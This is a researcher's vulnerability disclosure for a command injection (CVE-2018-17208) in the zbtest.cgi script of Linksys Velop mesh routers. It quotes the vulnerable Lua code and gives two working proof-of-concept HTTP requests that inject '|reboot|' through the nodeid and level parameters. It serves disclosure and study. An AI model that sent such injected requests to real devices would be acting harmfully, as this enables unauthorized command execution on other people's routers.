puzzor@home:~$

Linksys velop zbtest command injection

Affected Software

Firmware version: The firmware version which I test is 1.1.2.185309

Product Background

Velop is WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users enjoy fast, nonstop Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system. There are three categories from their official site :WHW0303,WHW0302,WHW0301. The differences between these three is the pack count: 1, 2 or 3. The system are the same.

Vulnerability Details

CVE-2018-17208

Since this bug is very easy and there is another researcher has published the anlysis, so I wont analyze it too much.

zbtest.cgi in /cgi-bin/ is a lua script and let’s we take a look into it. The most interesting part starts from line 480:

-- Here is a some code that can control bulb
cmd = params["cmd"]
node_id = params["nodeid"]
level = params["level"]

if cmd == nil then
  node_id = nil
  start_zb_network()
  print("Run zbtest.cgi<br>")
elseif cmd == "permit" then
  permit_zb_network()
  print("Run permit command<br><br>")
elseif cmd == "rescan" then
  print("Run rescan command<br><br>")
  node_id = nil
elseif cmd == "remove" and node_id then
  print("Run remove command : "..node_id.."<br><br>")
  remove_bulbs(node_id)
  node_id = nil
elseif cmd == "on" and node_id then
  print("Run turn on command : "..node_id.."<br><br>")
  name = "/tmp/Belkin_settings/zbdev."..node_id..".state"
  ShellExecute("zbapitest on-off "..node_id.." 1 > "..name.." 2>&1")
  bulbs, err = table.load("/tmp/Belkin_settings/bulbs.tlb")
  bulbs[node_id].onoff = "1"
  table.save(bulbs, "/tmp/Belkin_settings/bulbs.tlb")
elseif cmd == "off" and node_id then
  print("Run turn off command : "..node_id.."<br><br>")
  name = "/tmp/Belkin_settings/zbdev."..node_id..".state"
  ShellExecute("zbapitest on-off "..node_id.." 0 > "..name.." 2>&1")
  bulbs, err = table.load("/tmp/Belkin_settings/bulbs.tlb")
  bulbs[node_id].onoff = "0"
  table.save(bulbs, "/tmp/Belkin_settings/bulbs.tlb")
elseif cmd == "level" and level and node_id then
  print("Run level ("..level..") command : "..node_id.."<br><br>")
  -- name = "/tmp/Belkin_settings/zbdev."..node_id..".state"
  -- ShellExecute("zbapitest level "..node_id.." "..level.." 0 > "..name.." 2>&1")
  ShellExecute("zbapitest level "..node_id.." "..level.." 0 1")
  bulbs, err = table.load("/tmp/Belkin_settings/bulbs.tlb")
  bulbs[node_id].level = level
  table.save(bulbs, "/tmp/Belkin_settings/bulbs.tlb")
end

We can deliver 3 parameters to the zbtest.cgi: cmd, nodeid and level. There are command injection problems in this code snippet.

  • cmd with “remove”, no check of node_id
  • cmd with “on”, no check of node_id
  • cmd with “off”, no check of node_id
  • cmd with “level”, no check of node_id and level

PoC

GET /cgi-bin/zbtest.cgi?cmd=off&nodeid=|reboot| HTTP/1.1
Host: 192.168.1.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: visited-index=true
Connection: close
GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=0x0&level=1|reboot| HTTP/1.1
Host: 192.168.1.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: visited-index=true
Connection: close

Timeline

2018.04.04: Found the bug

2018-09-19: Another researcher published the bug with link: link](https://langkjaer.com/velop.html)